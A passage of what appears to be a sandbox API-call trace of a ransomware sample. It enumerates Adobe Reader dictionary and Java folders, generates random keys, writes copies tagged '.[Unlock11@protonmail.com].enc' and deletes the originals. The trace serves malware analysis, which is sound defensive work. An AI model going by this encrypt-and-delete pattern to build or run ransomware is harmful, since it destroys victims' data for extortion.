dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.618] GetFileType (hFile=0x39c) returned 0x1 [0198.618] GetFileType (hFile=0x39c) returned 0x1 [0198.618] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.618] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.618] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.618] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.619] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.619] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.619] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.621] CloseHandle (hObject=0x39c) returned 1 [0198.621] CloseHandle (hObject=0x334) returned 1 [0198.622] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\added.txt")) returned 1 [0198.623] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\excluded.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\excluded.txt", lpFilePart=0x9bada4*="excluded.txt") returned 0x92 [0198.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0198.623] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\excluded.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x92)) returned 1 [0198.623] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36741c4 | out: pbBuffer=0x36741c4) returned 1 [0198.624] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\excluded.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.624] GetFileType (hFile=0x334) returned 0x1 [0198.624] GetFileType (hFile=0x334) returned 0x1 [0198.624] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.624] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.624] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.624] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.624] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.625] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.625] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.625] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\excluded.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\excluded.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.625] GetFileType (hFile=0x39c) returned 0x1 [0198.625] GetFileType (hFile=0x39c) returned 0x1 [0198.625] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.625] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.626] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.626] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.626] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.626] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.626] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.628] CloseHandle (hObject=0x39c) returned 1 [0198.628] CloseHandle (hObject=0x334) returned 1 [0198.628] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_gb\\excluded.txt")) returned 1 [0198.629] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\*.*", lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0198.629] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.629] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x84f, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Added.txt", cAlternateFileName="")) returned 1 [0198.630] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Excluded.txt", cAlternateFileName="")) returned 1 [0198.630] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9baa70 | out: lpFindFileData=0x9baa70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x9ba82c, dwReserved1=0x73013d47, cFileName="Excluded.txt", cAlternateFileName="")) returned 0 [0198.630] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0198.630] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\added.txt")) returned 0x20 [0198.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac04e8 | out: hHeap=0x2ad0000) returned 1 [0198.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0198.631] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\excluded.txt")) returned 0x20 [0198.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d200 | out: hHeap=0x2ad0000) returned 1 [0198.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815e8 | out: hHeap=0x2ad0000) returned 1 [0198.658] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Added.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Added.txt", lpFilePart=0x9bada4*="Added.txt") returned 0x8f [0198.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0198.659] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\added.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x84f)) returned 1 [0198.659] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674f0c | out: pbBuffer=0x3674f0c) returned 1 [0198.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0198.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.660] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\added.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.660] GetFileType (hFile=0x334) returned 0x1 [0198.660] GetFileType (hFile=0x334) returned 0x1 [0198.660] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.660] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.661] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.661] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.661] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.661] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.661] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.661] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Added.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\added.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.674] GetFileType (hFile=0x39c) returned 0x1 [0198.675] GetFileType (hFile=0x39c) returned 0x1 [0198.675] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.675] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.675] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.675] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.675] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.676] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.676] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.685] CloseHandle (hObject=0x39c) returned 1 [0198.686] CloseHandle (hObject=0x334) returned 1 [0198.686] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Added.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\added.txt")) returned 1 [0198.687] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Excluded.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Excluded.txt", lpFilePart=0x9bada4*="Excluded.txt") returned 0x92 [0198.687] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\excluded.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b7)) returned 1 [0198.688] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367432c | out: pbBuffer=0x367432c) returned 1 [0198.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0198.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0198.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0198.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0198.688] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\excluded.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.689] GetFileType (hFile=0x334) returned 0x1 [0198.689] GetFileType (hFile=0x334) returned 0x1 [0198.689] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.689] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.689] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.689] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.689] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.689] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.689] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.690] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Excluded.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\excluded.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.690] GetFileType (hFile=0x39c) returned 0x1 [0198.690] GetFileType (hFile=0x39c) returned 0x1 [0198.690] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.690] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.690] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.691] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.691] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.691] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.691] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.693] CloseHandle (hObject=0x39c) returned 1 [0198.693] CloseHandle (hObject=0x334) returned 1 [0198.693] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\Excluded.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\supplementaldictionaries\\en_us\\excluded.txt")) returned 1 [0198.694] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0198.695] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.695] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0198.695] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0198.695] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0198.695] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" (normalized: "c:\\program files (x86)\\common files\\java\\java update")) returned 0x30 [0198.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0198.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0198.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0198.696] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0198.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eeb0b00, ftCreationTime.dwHighDateTime=0x1d30266, 